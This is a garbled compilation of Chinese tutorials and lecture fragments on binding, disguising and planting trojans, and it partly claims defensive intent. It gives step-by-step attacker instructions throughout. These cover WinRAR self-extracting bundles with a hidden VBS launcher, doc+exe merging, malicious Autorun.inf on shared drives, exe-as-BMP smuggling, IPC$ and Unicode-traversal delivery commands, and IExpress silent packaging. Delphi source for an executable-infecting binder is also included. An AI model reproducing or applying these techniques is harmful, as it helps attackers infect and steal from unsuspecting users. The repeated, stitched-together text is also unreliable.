木马捆绑方法
实验13 木马捆绑与隐藏

木马捆绑与隐藏12.2.1 背景描述木马并不是合法的网络服务程序,如果单纯以本来面目出现,很容易被网络用户识别。
为了不被别人发现,木马制造者必须想方设法改换面貌;为了诱使网络用户下载并执行它,黑客将木马程序混合在合法的程序里面,潜入用户主机。
在受害主机里,为了逃避杀毒软件的查杀,木马也会将自己“乔装打扮”;为了防止用户将其从系统里揪出来,木马则采取一切可能的手法进行隐藏自己。
总之,现在的木马制造者是越来越狡猾,他们常用文件捆绑的方法,将木马捆绑到图像、纯文本等常见的文件中,然后通过网页、QQ、Email 或MSN 等将这些文件传送给受害者,而用户一旦不慎打开这些文件,木马就自动执行了,主机就中木马了。
12.2.2 工作原理1.木马捆绑木马捆绑即是文件捆绑,黑客将木马或者病毒等恶意程序与其它正常文件组合成的一个整体。
这是一种最简单也是最可行和最常用的一种方法,当受害者下载并运行捆绑了木马等恶意程序的文件时,其中的木马等恶意程序就会被激活。
木马捆绑的手段归纳起来共有四种:(1)利用捆绑机软件和文件合并软件捆绑木马;(2)利用WINRAR、WINZIP 等软件制作自解压捆绑木马;(3)利用软件打包软件制作捆绑木马;(4)利用多媒体影音文件传播。
2.木马隐藏隐藏是一切恶意程序生存之本。
以下是木马的几种隐藏手段:(1)进程隐蔽:伪隐藏,就是指程序的进程仍然存在,只不过是让它消失在进程列表里。
真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作,做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。
(2)伪装成图像文件:即将木马图标修改成图像文件图标。
(3)伪装成应用程序扩展组件:将木马程序写成任何类型的文件(如dll,ocx等),然后挂在十分出名的软件中。
因为人们一般不怀疑这些软件。
(4)错觉欺骗:利用人的错觉,例如故意混淆文件名中的1(数字)与l(L的小写)、0(数字)与o(字母)或O(字母)。
木马常用植入方法大曝光

接着把DOC和EXE合并:copy/banyname.doc+anyname.exeanyname.doc。打开这个DOC文档,隐藏在其中的木马就会自动运行。不过还需要满足一个条件HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security中的Level值必须是1或者0。
DLL文件的特点决定了这种实现形式的木马的可行性和隐蔽性。首先,由于DLL文件映像可以被映射到调用进程的地址空间中,所以它能够共享宿主进程(调用DLL的进程)的资源,进而根据宿主进程在目标主机中的级别未经授权地访问相应的系统资源。其次,因为DLL没有被分配独立的进程地址空间,也就是说DLL的运行并不需要创建单独的进程,所以从系统的进程列表里看不见DLL的运行踪迹,从而可以避免在目标主机中留下木马进程踪迹,因此满足了隐蔽性的要求。
[AutoRun]//这是AutoRun部分开始,必须输入
Icon=E:\sex.ico//用sexual.ico文件给E盘设置一个个性化的盘符图标
Open=E:\sexual.exe//指定要运行程序的路径和名称,在此为E盘下的sexual.exe。如果sexual.exe文件是木马或恶意程序,那我们的电脑就危险了。
5伪装成应用程序扩展组件
此类属于最难识别的特洛伊木马,也是骗术最高的木马。特洛伊木马编写者用自己编制的特洛伊DLL替换已知的系统DLL,并对所有的函数调用进行过滤。对于正常的调用,使用函数转发器直接转发给被替换的系统DLL,对于一些事先约定好的特殊情况,DLL会执行一些相对应的操作。一个比较简单的方法是启动一个进程,虽然所有的操作都在DLL中完成会更加隐蔽,但是这大大增加了程序编写的难度。实际上这样的木马大多数只是使用DLL进行监听,一旦发现控制端的连接请求就激活自身,起一个绑端口的进程进行正常的木马操作。操作结束后关掉进程,继续进入休眠状况。
木马常见植入方法大曝光

对于给你下木马的人来说,一般不会改变硬盘的盘符图标,但他会修改Autorun.inf文件的属性,将该文件隐藏起来。
然后按F5键刷新,这样,当有人双击这个盘符,程序就运行了。
这一招对于经常双击盘符进入“我的电脑”的人最有效。
识别这种伪装植入方式的方法是,双击盘符后木马程序会运行,并且我们不能进入盘符。
4把木马文件转换为图片格式这是一种相对比较新颖的方式,把EXE转化成为BMP图片来欺骗大家。
原理:BMP文件的文件头有54个字节,包括长宽、位数、文件大小、数据区长度。
我们只要在EXE的文件头上加上这54字节,IE就会把它当成BMP文件下载下来。
改过的图片是花的,会被人看出破绽,用<imgscr=″xxx.bmp″higth=″0″width=″0″>,把这样的标签加到网页里,就看不见图片了,也就无法发现“图片”不对劲。
IE 把图片下载到临时目录,我们需要一个JavaScript文件在对方的硬盘里写一个VBS文件,并在注册表添加启动项,利用那个VBS找到BMP,调用debug来还原EXE,最后,运行程序完成木马植入。
下一次启动时木马就运行了,无声无息非常隐蔽。
5伪装成应用程序扩展组件此类属于最难识别的特洛伊木马,也是骗术最高的木马。
特洛伊木马编写者用自己编制的特洛伊DLL替换已知的系统DLL,并对所有的函数调用进行过滤。
对于正常的调用,使用函数转发器直接转发给被替换的系统DLL,对于一些事先约定好的特殊情况,DLL会执行一些相对应的操作。
一个比较简单的方法是启动一个进程,虽然所有的操作都在DLL中完成会更加隐蔽,但是这大大增加了程序编写的难度。
实际上这样的木马大多数只是使用DLL进行监听,一旦发现控制端的连接请求就激活自身,起一个绑端口的进程进行正常的木马操作。
操作结束后关掉进程,继续进入休眠状况。
举个具体的例子,黑客们将写好的文件(例如DLL、OCX等)挂在一个十分出名的软件中,例如QQ中。
当受害者打开QQ时,这个有问题的文件即会同时执行。
木马植入与清除

5.邮件冒名欺骗
该类木马植入的前提是,用匿名邮件工具冒充好友或大型网站、机构、单位向别人发木马附件,别人下载附件并运行的话就中木马了。如冒充单位的系统管理员,向各个客户端发送系统补丁或是其它安装程序。
6.QQ冒名欺骗
该类木马植入的前提是,必须先拥有一个不属于自己的QQ号。然后使用这个QQ号码给好友们发去木马程序,由于信任被盗号码的主人,好友们会毫不犹豫地运行木马程序,结果就中招了。
第六章,木马的植入与清除2010-03-14 12:15我们知道:一般的木马都有客户端和服务器端两个执行程序,其中客户端用于攻击者远程控
制植入木马的计算机,服务器端程序就是我们通常所说的木马程序。攻击者要通过木马攻击计算机系统,所做的第一步就是要把木马的服务器端程序植入到被攻击的计算机里面。
提示
① 将魔道终结者拷贝到QQ的目录下,然后单击魔道终结者1.4的主程序 (qqmdover14.exe)后,出现它的主界面窗口。
② 点击主界面中的按钮选择QQ的执行文件,然后单击“运行”按钮,出现QQ登录对话框。不用输入密码,直接单击其中的 “登录”按钮。
③ 单击“OK”按钮,程序将弹出“请再次输入登录密码”的对话框。
④ 这时候我们不用管这个要求再次输入登录密码的对话框 (最小化它,既不 要点击“确定”,因为会继续让你输入密码,也不要点击“取消”,取消之后会关闭程序,托盘里的QQ图标也就没有了),直接双击右下角托盘里的QQ的图标 (因没有登录,显示灰色),则会弹出QQ的主界面窗口,因没有上线所有好友都呈灰色。
这一种方式关键的一点,就是如何让对方打开附件。一般情况可在邮件主题写一些吸引人的、易引起人好奇的内容,促使对方毫无知觉地自动种上木马,被你控制。
② 通过软件下载,一些非正规的网站以提供软件下载为名,将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装了。
木马最新植入五方法揭密

木马最新植入五种方法揭密木马是大家网上安全的一大隐患,说是大家心中永远的痛也不为过。
对于木马采用敬而远之的态度并不是最好的方法,我们必须更多地了解其“习性”和特点,只有这样才能做到“知己知彼,百战不殆”!随着时间的推移,木马的植入方式也悄悄地发生了一定的变化,较之以往更加的隐蔽,对大家的威胁也更大,以下是笔者总结的五种最新的木马植入方式,以便大家及时防范。
方法一:利用共享和Autorun文件为了学习和工作方便,有许多学校或公司的局域网中会将硬盘共享出来。
更有甚者,竟将某些硬盘共享设为可写!这样非常危险,别人可以借此给您下木马!利用木马程序结合Autorun.inf文件就可以了。
方法是把Autorun.inf和配置好的木马服务端一起复制到对方D盘的根目录下,这样不需对方运行木马服务端程序,只需他双击共享的磁盘图标就会使木马运行!这样作对下木马的人来说的好处显而易见,那就是大大增加了木马运行的主动性!许多人在别人给他发来可执行文件时会非常警惕,不熟悉的文件他们轻易不会运行,而这种方法就很难防范了。
下面我们简单说一下原理。
大家知道,将光盘插入光驱会自动运行,这是因为在光盘根目录下有个Autorun.inf文件,该文件可以决定是否自动运行其中的程序。
同样,如果硬盘的根目录下存在该文件,硬盘也就具有了AutoRun功能,即自动运行Autorun.inf文件中的内容。
把木马文件.exe文件以及Autorun.inf放在磁盘根目录(这里假设对方的D盘共享出来且可写),对于给您下木马的人来说,他还会修改Autorun.inf文件的属性,将该文件隐藏起来。
这样,当有人双击这个盘符,程序就运行了。
这一招对于经常双击盘符进入“我的电脑”的人威胁最大。
更进一步,利用一个.REG文件和Autorun.inf结合,还可以让你所有的硬盘都共享出去!方法二:把木马文件转换为BMP格式这是一种相对比较新颖的方式,把EXE转化成为BMP来欺骗大家。
木马捆绑

木马捆绑所谓的万能捆绑,其实原理很简单,就是利用的WINRAR的自解压功能,将两个不同后缀的文件包在一起,在解压时利用挂载的脚本将木马执行,这样就达到了期骗性的执行两个程序的目的。
用WINRAR把二个文件进行捆绑,除了能绑绑不同类型的文件进行灵活搭配之外,有一个重作用是能仿止因为捆绑机被杀带来的被杀毒软件杀除问题。
、一个“万能捆绑程序”由被捆绑文件,木马文件,脚本等几部分组成,整个运行流程是WINRAR将被捆绑文件和木马文件打包,在设置中设定释放文件前或文件后执行脚本,脚本的内容就是执行木马程序。
下面来学习一下如何具体操作:第一步:选定要创建自解压文件的文件比如hack.gif,单击右键,在弹出的快捷菜单上选择“添加到压缩文件”打开“压缩文件名和参数”对话框,然后在“常规”选项卡上选择“创建自解压格式的压缩文件”复选框。
第二步:切换到“压缩文件名和参数”对话框的“高级”选项卡,在该选项卡上单击“自解压选项”打开“高级自解压选项”对话框。
第三步:在“高级自解压选项”对话框上设置自解压文件的各种选项.,常规选项中设置,解压路径(一般设为%systemroot%\system32\),还有解压后运行2.vbs,解压前运行hack.gif;模式中设置自解压文件模式,选“全部隐藏”和“覆盖所有文件”;文本和图标选项里“从文件加载自解压文件图标”中指定一个.ICO后缀的图标文件作为生成后的自解压文件的图标,这里可以选择一些有期骗性的,比如电影文件的图标,或者一个游戏的图标。
设置好后,单击“确定”关闭“高级自解压选项”对话框,再次单击“确定”关闭“压缩文件名和参数”对话框第四步,建立1个批处理文件名为2.vbs2.vbs的内容为dim shellset shell=CreateObject("Wscript.Shell")shell.run "cmd /c start %SystemRoot%\system32\muma.exe",0把欲捆绑执行的木马程序命名为muma.exe连同2.vbs添加入这个自解压包文件,当对方双击这个自解压文件时,首先会运行正常的程序,比如打开一个图片或运行一个小游戏,接着就会把自解压包中的muma.exe这个木马文件解压到系统目录下,并由2.vbs执行,这种方法不依赖任何捆绑机,可以达到比捆绑机更好的与任意文件捆绑的效果,可以说是木马传播必学的手段之一。
黑客常用的系统攻击方法木马

通过emial附件的形式 通过软件下载的形式
木马实施攻击的步骤
3. 启动木马 被动地等待木马或者是捆绑木马的 程序被执行 自动拷贝到windows系统文件下中, 并修改系统注册表启动项
4. 建立连接 服务器端安装了木马 双方均在线
5. 远程控制 最终的目的
课堂演练一:冰河木马的使用
服务器端程序:G-server.exe 客户端程序: G-client.exe
据最新一份市场调查报告,在8月到9月份中,全球范 围恶意软件的数量增长了15%。
该调查报告出自Panda安全公司,据悉全 球范围平均被恶意广告攻击过的电脑比率 达到了59%,创历史最高点。在所有29个 国家和地区中,美国排名第九,比率为 58%。与此同时,台湾排名第一,感染率 为69%,与此同时挪威只有39%,位列最 后。数据表明,美国恶意软件中,木马和 恶意广告为最主要的两个类型。
包含windows初始配置信息的重要文件其中的配置语句较复杂且对windows用户十分重要包含整个系统的信息如显示卡驱动程序等是存放windows启动时所需要的重要配置信息的文完整版课件ppt29木马启动方式设置在超级连接中完整版课件ppt30木马的检测查看进程完整版课件ppt31防御在安装新的软件之前请先备份注册表在安装完软件以后立即用杀毒软件查杀windows文件夹和所安装的软件的所在文件夹
木马的种类
代理类木马
木马采用的伪装方法

木马采用的伪装方法1. 修改图标木马服务端所用的图标也是有讲究的,木马经常故意伪装成了XT.HTML等你可能认为对系统没有多少危害的文件图标,这样很容易诱惑你把它打开。
看看,木马是不是很狡猾?2. 捆绑文件这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入了系统。
被捆绑的文件一般是可执行文件(即EXE COM一类的文件)。
3. 出错显示有一定木马知识的人部知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序。
木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。
当服务端用户打开木马程序时,会弹出一个错误提示框(这当然是假的),错误内容可自由定义,大多会定制成一些诸如" 文件已破坏,无法打开!" 之类的信息,当服务端用户信以为真时,木马却悄悄侵人了系统。
4. 自我销毁这项功能是为了弥补木马的一个缺陷。
我们知道,当服务端用户打开含有木马的文件后,木马会将自己拷贝到Windows的系统文件夹中(C;\wmdows或C:\windows'system 目录下),一般来说,源木马文件和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么,中了木马的朋友只要在近来收到的信件和下载的软件中找到源木马文件,然后根据源木马的大小去系统文件夹找相同大小的文件,判断一下哪个是木马就行了。
而木马的自我销毁功能是指安装完木马后,源木马文件自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工具帮助下。
就很难删除木马了。
5. 木马更名木马服务端程序的命名也有很大的学问。
如果不做任何修改,就使用原来的名字,谁不知道这是个木马程序呢?所以木马的命名也是千奇百怪,不过大多是改为和系统文件名差不多的名字,如果你对系统文件不够了解,那可就危险了。
例如有的木马把名字改为window.exe ,如果不告诉你这是木马的话,你敢删除吗?还有的就是更改一些后缀名,比如把dll 改为dl 等,不仔细看的,你会发现吗?木马的种类1 、破坏型惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL INI、EXE文件。
木马采用的伪装方法

木马采用的伪装方法1.修改图标木马服务端所用的图标也是有讲究的,木马经常故意伪装成了XT.HTML等你可能认为对系统没有多少危害的文件图标,这样很容易诱惑你把它打开。
看看,木马是不是很狡猾?2.捆绑文件这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入了系统。
被捆绑的文件一般是可执行文件 (即EXE、COM一类的文件)。
3.出错显示有一定木马知识的人部知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序。
木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。
当服务端用户打开木马程序时,会弹出一个错误提示框 (这当然是假的),错误内容可自由定义,大多会定制成一些诸如 "文件已破坏,无法打开!"之类的信息,当服务端用户信以为真时,木马却悄悄侵人了系统。
4.自我销毁这项功能是为了弥补木马的一个缺陷。
我们知道,当服务端用户打开含有木马的文件后,木马会将自己拷贝到Windows的系统文件夹中(C;\wmdows或C:\windows\system目录下),一般来说,源木马文件和系统文件夹中的木马文件的大小是一样的 (捆绑文件的木马除外),那么,中了木马的朋友只要在近来收到的信件和下载的软件中找到源木马文件,然后根据源木马的大小去系统文件夹找相同大小的文件,判断一下哪个是木马就行了。
而木马的自我销毁功能是指安装完木马后,源木马文件自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工具帮助下。
就很难删除木马了。
5.木马更名木马服务端程序的命名也有很大的学问。
如果不做任何修改,就使用原来的名字,谁不知道这是个木马程序呢?所以木马的命名也是千奇百怪,不过大多是改为和系统文件名差不多的名字,如果你对系统文件不够了解,那可就危险了。
例如有的木马把名字改为window.exe,如果不告诉你这是木马的话,你敢删除吗?还有的就是更改一些后缀名,比如把dll改为dl等,不仔细看的,你会发现吗?木马的种类1、破坏型惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
实验4-木马及病毒攻击与防范

57
② 执行脚本编写的代码。要执行上述代 码,首先要配好IIS服务器和Web服务器。 ③ 当Web服务器配置完成,将上述编辑 好的代码保存到Web服务器的路径中, 如“C:\Inetpub\ wwwroot\test.asp”。
58
④ 打开IE浏览器,在地址栏中输入 “http://localhost/test.asp”,运行脚本。 这时,如果脚本没有语法错误,则将在 网页中输出“新建文件myfile”,并且在 D盘根目录下建立了一个文件myfile,如 图4.29所示。
("Scripting.FilesystemObject")”产生一个服
务器系统对象。
56
使用“fso.Create TextFile
("d:\myfile")”在D盘根目录建立一个文件
myfile,并且使用response.write("新建文件
myfile")在页面中说明文件建立的完成。
59
图4.29 网页病毒
60
4.网页病毒的防范
① 使用“regsvr32 scrrun.dll/u”命令 禁用文件系统对象“FileSystemObject”。
② 自定义安全级别,打开IE浏览器, 在“Internet选项”→“安全”选项中选 择“自定义安全级别”,把“ActiveX控 件及插件”的一切设置设为禁用,如图 4.30所示。
冰河操作(5)
31
冰河操作(6)
3.口令获取:口令类命令里可是有不少好东西的! 如果你运气够好的话,你会找到很多的网站名、 用户名和口令。 图中第一处抹黑的是上网帐号的密码,这可 不能乱用喔。第2处抹掉的就是QQ46581282的密 码了!
病毒木马程序的感染和捆绑方式

最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式我只和大家探讨两种方式一种是附加的方式,一种是内嵌式第一种方式就是将木马程序附加在别的程序头部也就是说运行的目标程序是木马然后木马程序将原程序解压出来再运行听说熊猫烧香的程序用的就是这种方法这种方式有缺点也有优点优点是:可以捆绑任何程序缺点是:运行时需要把目标程序给拷贝出来然后然后再运行真正的程序这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢实现方法:(Demo下载)如果不改变图标,实现方法是非常简单的。
用文件流的方式把目标程序写在木马程序后面这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标这种方法读取出来的图标和原程序的图标是有差别的。
就是颜色会浅一点,让人一看就知道程序可能被捆绑过了)请勿用于病毒传播,这里只贴出核心代码【全文】function Align(Size, AlignBase: integer): Integer;beginif Size mod AlignBase <> 0 thenResult := (Trunc(Size / AlignBase) + 1) * AlignBaseelseResult := Size;end;procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);varI:integer;DosHeader: TImageDosHeader;NTHeader: TImageNtHeaders; {NtHeader}dRead: DWORD;beginSetFilePointer(AFHandle, 0, nil, FILE_BEGIN);ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);//非PE 退出if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);//非PE 退出if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 dobeginReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress thenbeginSetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);SetLength(AStream, ASectionHeader.SizeOfRawData);ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);Exit;end;end;end;function StripHighBit(L: Longint): DWORD;beginResult := L and $7FFFFFFF;end;function HighBitSet(L: Longint): Boolean;beginResult := (L and $80000000) <> 0;end;function IsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;beginResult := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);end;function ResourceDataEntry(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD)ImageResourceDataEntry;beginResult := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);end;function FixRsrc(ResourceDirectoryImageResourceDirectory; BaseEntry,OldV A, NewVA: DWORD):boolean;varI: Integer;ResourceDirectoryEntryImageResourceDirectoryEntry;Data: PImageResourceDataEntry;beginResult := True;ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)+ SizeOf(TImageResourceDirectory));for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 dobeginif IsDirectory(ResourceDirectoryEntry, BaseEntry) thenbegin{目录递归调用,把下级的资源列出来}FixRsrc(PImageResourceDirectory(StripHighBit(ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),BaseEntry, OldV A, NewVA);endelsebegin{资源}Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);//修正RV AData^.OffsetToData := Data^.OffsetToData - OldV A + NewV A;end;inc(ResourceDirectoryEntry);end;end;function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;varF,F1,F2: THandle;dRead: DWORD;fsDes, fsSrc, len, i, lastPos, oldSize: integer;pRsrc,LoadStream: PStream;DosHeader: PImageDosHeader;NTHeader: PImageNtHeaders; {NtHeader}pSH,pSectionHeader: PImageSectionHeader;SectionHeader: TImageSectionHeader;Section: PSections;fectStream : TResourceStream;beginResult := ’’;pRsrc := nil;//打开需要感染的目标文件F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);tryif F = INVALID_HANDLE_VALUE thenbeginResult := ’打开目标文件失败!’;Exit;end;//获取目标程序的资源文件GetRsrcStream(F, pRsrc, SectionHeader);//如果没有资源文件则退出if pRsrc = nil thenbeginResult := ’读取目标文件资源失败!’;Exit;end;//读取附加程序流fectStream := TResourceStream.Create(HInstance,’exe’,’exetype’);tryfsSrc := fectStream.Size;SetLength(LoadStream, fectStream.Size);fectStream.ReadBuffer(LoadStream[0], fectStream.Size);finallyfectStream.Free;end;DosHeader := PImageDosHeader(LoadStream);NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeaderInc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 dobegin//比较是否是指定的节名,如“.rsrc”if Strlicomp(@pSectionHeader^.Name, PChar(’.rsrc’), IMAGE_SIZEOF_SHORT_NAME) = 0 thenbeginoldSize := pSectionHeader^.SizeOfRawData;//修正资源大小pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;pSectionHeader^.Misc := SectionHeader.Misc;break; //找到了,则退出end;Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)end;//修复资源if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),SectionHeader.VirtualAddress,pSectionHeader^.VirtualAddress) then Exit;NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;NTHeader^.OptionalHeader.SizeOfImage :=+ Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.Opt ionalHeader.SectionAlignment);F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);tryif F1 = INVALID_HANDLE_VALUE thenbeginResult := ’创建新文件失败!’;Exit;end;F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);if F2 = INVALID_HANDLE_VALUE thenbeginResult := ’读取目标文件失败!’;Exit;end;fsDes := GetFileSize(F, nil);Section := PSections(@LoadStream[$70]);Section^.GUID := $58585858;Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize); fsSrc := GetFileSize(F2, nil);Section^.FirstSize := fsSrc;Section^.LastOffset := Section^.FirstOffset + fsSrc;Section^.LastSize := fsDes;//写入头部文件WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil); WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);repeatReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);WriteFile(F1, LoadStream[0], dRead, dRead, nil);until dRead = 0;SetFilePointer(F, 0, nil, FILE_BEGIN);ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil); WriteFile(F1, LoadStream[0], dRead, dRead, nil);until dRead = 0;finallyCloseHandle(F2);end;finallyCloseHandle(F1);end;finallyCloseHandle(F);SetLength(LoadStream, 0);SetLength(pRsrc, 0);end;end;第二程度方式就是将代码内嵌到目标程序。
浅析绑马的四种方法

浅析绑马的四种方法来源:115 一EXE合并捆绑法也就是最常见的的用捆绑工具或winrar自解压把一个或多个PE文件结合到一起微懂一点PE知识的人都应该知道。
一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点[不管是否加壳]。
一是文件以MZ开头,跟着DOS头后面的PE头以PE\0\0开头。
有了这两个特点,检测就变得很简单了。
只需利用UltraEdit一类工具打开目标文件搜索关键字MZ或者PE。
如果找到两个或者两个以上。
则说明这个文件一定是被捆绑了。
不过值得注意的是,一些生成器也是利用了这个原理,将木马附加到生成器末尾,用户选择生成的时候读出来,(例如常见的一些QQ木马生成器) ,这种捆绑方法已经很落伍了,论坛有很多教程大家可以学下如何去分离出这些捆绑程序.二exe转批处理法有个工具可以把exe程序转换成批处理格式转换以后的批处理一般都会比原程序要大上几倍,右键写字板查看一般内容都是cls@echo e 13D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp44(临时文件)@echo e 13E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 >>tmp44@echo e 13F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp44@echo e 1400 00 00 00 00 00 00 >>tmp44@echo rcx>>tmp44@echo 1306>>tmp44@echo n tmp4>>tmp44@echo w>>tmp44@echo q>>tmp44@debug<tmp44>nul@Copy /b /y tmp1+tmp2+tmp3+tmp4 123.exe (原程序)一般都用到工具都会写"点此注册先"此类批处理毛注册个毛啊这种方法怎么说呢也很具有SB的性质....一般查看这种东西很简单, 右键编辑(如果批处理加密先用工具解密在查看) 把批处理中@star **.exe删掉然后运行批处理可以得到原程序然后在判断是否为木马三批处理源码调用法听名字大家好像不清楚,现在很多工具都存在一些不名后缀文件或dll,一般大家也不会注意,有些人利用这一点进行木马的调用,具体方法:将生成好的木马后缀改成dll文件,然后利用批处理复制并修改后缀然后在进行调用运行,有人要说了,如果这样做那文件监视器不就一下看到了么,呵呵 .一般审核都只是审核几分钟,批处理完全可以延后运行木马,或是写判断来判断各种文件监视器的进程.当然了,这也只能逃过一些工作不认真或经验少的审核员的眼睛.四程序源码调用法也就是一些工具在写源码的时候直接加进了后门(类似下载者,发信者,释放者),这些工具后门一般在OD中可以查看到,一般查找字符为(smtp,http,exe,com,asp)或是用一些抓包工具,不过对于高级绑马,抓包工具完全就是毛用如果程序加密了先要脱壳,一般的壳用对应的脱壳工具可以脱掉,脱壳咱菜,就不多讲了.绑马加后门方法五花八门粗略讲解以上四点最常见最低级捆绑手段。
木马病毒的植入

木马病毒的植入木马病毒大家应该并不陌生,但往往最容易遇到的问题就是木马怎么植入,这里为大家详解一下,希望大家对症用药,保证自己计算机的安全。
(1)通过网上邻居(即共享入侵)要求:对方打开139端口并有可写的共享目录。
用法:直接将木马病毒上传即可。
(2)通过IPC$要求:双方均须打开IPC$,且我方有对方一个普通用户账号(具有写权限)。
用法:先用net use\\IP\IPC$"密码"/user:用户名”命令连接到对方电脑,再用“copy 本地木马路径远程木马路径、木马名字”将木马病毒复制到目标机。
(3)通过网页植入要求:对方IE未打补丁用法1:利用IE的IFRAME漏洞入侵。
用法2:利用IE的DEBUG代码入侵。
用法3:通过JS.VBS代码入侵。
用法4:通过AstiveX或Java程序入侵。
(4)通过OE入侵要求:对方OE未打补丁。
用法:与(3)中的1.3.4用法相同。
(5)通过Word.Excel.Access入侵要求:对方未对宏进行限制。
用法1:编写恶意的宏夹杂木马,一旦运行Office文档编植入主机中。
用法2:通过Office的帮助文件漏洞入侵。
(6)通过Unicode漏洞入侵要求:对方有Unicode漏洞。
用法:“http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?+COPY+本地木马路径+远程路径+木马名”。
(7)通过FIP入侵要求:对方的FIP可以无名登陆而且可以写入。
用法:直接将木马上传即可。
(8)通过TELNET入侵要求:具有对方一个具有写权限的账号。
用法:用TELNET命令将木马传上去。
(9)EXE合并木马要求:无。
用法:用EXE文件合并器将两个EXE文件合并即可。
(10)WinRAR木马入侵要求:对方安装了WinRAR。
用法:将压缩包设为自解压格式,并设置自动运行的选项,将RAR图标更改。
(11)文件夹惯性点击法要求:无。
[讲义]iexpress绑缚技巧介绍
![[讲义]iexpress绑缚技巧介绍](https://img.taocdn.com/s3/m/649117ff988fcc22bcd126fff705cc1755275f99.png)
iexpress捆绑技术介绍工具介绍:名称:IExpress功能:专用于制作各种 CAB 压缩与自解压缩包的工具。
实际操作在这一部分,笔者将以实例的形式为大家详细讲解捆绑木马的整个过程。
第一步在“运行”对话框中输入IExpress就可启动程序(图1)。
在开始的时候会有两个选项供你选择,一个是创建新的自解压文件(Create new Self Extraction Directive file),另一个是打开已经保存的自解压模板“.sed”文件(Open existing Self Extraction Directive file)。
我们应该选择第一项,然后点击“下一步”按钮。
[!--empirenews.page--]第二步接下来选择制作木马自解压包的三种打包方式(图2),它们分别是建立自解压并自动安装压缩包(Extract files and run an installation command)、建立自解压压缩包(Extract files only)和建立CAB压缩包(Create compressed files only)。
因为我们要制作的是木马解压包,所以应该选择第一项。
在输入压缩包标题后点击“下一步”按钮。
第三步在“确认提示”(Confirmation prompt)这一环节,软件会询问在木马程序解包前是否提示用户进行确认,由于我们是在制作木马程序的解压包,当然越隐蔽越好,选择第一项“不提示”(No prompt),这么做的目的是让中招人毫无防备。
